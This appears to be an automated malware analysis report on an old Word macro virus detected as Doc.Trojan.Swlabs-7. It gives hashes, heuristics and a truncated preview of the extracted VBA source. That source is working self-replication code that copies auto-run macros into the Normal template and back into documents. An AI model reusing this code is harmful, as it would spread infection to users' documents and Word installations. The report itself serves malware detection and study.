Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 10b5959f247ad4d3…

MALICIOUS

Office (OLE)

54.5 KB Created: 1998-01-26 15:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6f2293a324c36a31269089d7f2364925 SHA-1: 20172cabb83ff8b45a8d524bd351995cd5924fa8 SHA-256: 10b5959f247ad4d3f302f643e754703126c03960743996d21752f47483d17600
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing both WordBasic and VBA macros. Heuristics indicate the presence of AutoOpen and AutoClose macros, which are commonly used to execute malicious code upon document opening or closing. The VBA script explicitly copies these macros to the global template, suggesting an attempt to establish persistence and spread to other documents. The ClamAV detection 'Doc.Trojan.Swlabs-7' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Swlabs-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-7
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16226 bytes
SHA-256: 163da0eb6d70fa7537887c4d7b37338605bc61327d55edde96d7ad9875bdc409
Detection
ClamAV: Doc.Trojan.Swlabs-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installs AutoClose and PayLoad macros to help prevent the spread and contraction of the prank macros. Also cleans out your Normal template and runs the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

On Error GoTo -1: On Error GoTo ErrorHandler

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     WordBasic.MacroCopy MacName$, "Global:AutoOpen"
     WordBasic.MacroCopy MacName$, "Global:AutoClose"
     WordBasic.MacroCopy MacName$, "Global:AutoNew"
     WordBasic.MacroCopy MacName$, "Global:AutoExit"
     WordBasic.MacroCopy MacName$, "Global:FileOpen"
     WordBasic.MacroCopy MacName$, "Global:FileClose"
     WordBasic.MacroCopy MacName$, "Global:Skammy"

ErrorHandler:

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$
AutoCloseHandler:

On Error GoTo -1: On Error GoTo AutoNewHandler
     MacName$ = FName$ + ":AutoNew"
      WordBasic.MacroCopy "Global:AutoNew", MacName$
AutoNewHandler:

On Error GoTo -1: On Error GoTo AutoExitHandler
     MacName$ = FName$ + ":AutoExit"
     WordBasic.MacroCopy "Global:AutoExit", MacName$
AutoExitHandler:

On Error GoTo -1: On Error GoTo FileOpenHandler
     MacName$ = FName$ + ":FileOpen"
     WordBasic.MacroCopy "Global:FileOpen", MacName$
FileOpenHandler:

On Error GoTo -1: On Error GoTo FileCloseHandler
     MacName$ = FName$ + ":FileClose"
     WordBasic.MacroCopy "Global:FileClose", MacName$
FileCloseHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$
OtherNameHandler:
    
WordBasic.FileSaveAs Format:=1

Rem Virii Unite!

On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Installs AutoClose and PayLoad macros to help prevent the spread and contraction of the prank macros. Also cleans out your Normal template and runs the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Generic Concept Created by Skam

On Error GoTo -1: On Error GoTo ErrorHandler

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     WordBasic.MacroCopy MacName$, "Global:AutoOpen"
     WordBasic.MacroCopy MacName$, "Global:AutoClose"
     WordBasic.MacroCopy MacName$, "Global:AutoNew"
     WordBasic.MacroCopy MacName$, "Global:AutoExit"
     WordBasic.MacroCopy MacName$, "Global:FileOpen"
     WordBasic.MacroCopy MacName$, "Global:FileClose"
     WordBasic.MacroCopy MacName$, "Global:Skammy"

ErrorHandler:

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$
AutoOpenHandler:

On Error GoTo -1: On Error GoTo AutoCloseHandler
    MacName$ = FName$ + ":AutoClose"
     WordBasic.MacroCopy "Global:AutoClose", MacName$
AutoCloseHandler:

On Error GoTo -1: On Error GoTo AutoNewHandler
     MacName$ = FName$ + ":AutoNew"
      WordBasic.MacroCopy "Global:AutoNew", MacName$
AutoNewHandler:

On Error GoTo -1: On Error GoTo AutoExitHandler
     MacName$ = FName$ + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.